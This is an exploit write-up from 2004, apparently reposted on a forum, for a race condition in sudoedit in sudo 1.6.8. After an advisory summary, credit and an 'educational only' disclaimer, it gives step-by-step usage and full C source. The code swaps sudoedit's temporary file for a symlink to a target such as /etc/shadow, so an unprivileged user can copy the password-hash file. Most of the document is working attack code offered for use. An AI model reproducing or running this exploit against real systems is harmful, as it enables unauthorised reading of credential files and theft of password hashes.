文章作者:Angelo Rosiello
SOFTWARE : sudoedit
REFERENCE:
http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004
Summary:
A flaw in exists in sudo's -u option (aka sudoedit)
in sudo version 1.6.8 that can give an attacker
read permission to a file that would otherwise be
unreadable.
Sudo versions affected:
1.6.8 only
Credit:
Reznic Valery discovered the problem.
-----------------------------------------------------------
All the information that you can find in this software
were published for educational and didactic purpose only.
The author published this program under the condition
that is not in the intention of the reader to use them
in order to bring to himself or others a profit or to bring
to others damage.
!Respect the law!
How do I use this code ?
To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.
EXAMPLE SCENARIO:
1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.
The file "rosiello" is now a copy of "/etc/shadow".
AUTHOR : Angelo Rosiello
CONTACT:
angelo@rosiello.org复制内容到剪贴板
代码:
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <dirent.h>
int main( int argc, char *argv[] )
{
char PATH[]="/usr/tmp";
char file[32];
DIR *tmp;
struct dirent *de;
tmp = opendir ( PATH );
int found = 0;
printf( "Copyright ?Rosiello Security 2004\n" );
printf( "[url]http://www.rosiello.org[/url]\n" );
if( argc!=2 )
{
printf( "USAGE: %s file\n", argv[0] );
return( 0 );
}
while ( !found && (de = readdir ( tmp ))!= NULL )
{
if ( (strstr(de->d_name, "rosiello") != NULL) )
{
if( strlen(de->d_name) > 23 ) return( 0 );
sprintf( file, "%s/%s", PATH, (char *)de->d_name );
remove( file );
if( fork()!=0 )
{
execl( "/bin/ln", "ln", "-s", argv[1], file, NULL );
}
wait( );
printf( "Now you can close sudoedit and reopen rosiello!\n" );
found=1;
}
}
closedir( tmp );
if( !found )
printf( "File Not Found!\n" );
return( 0 );
}
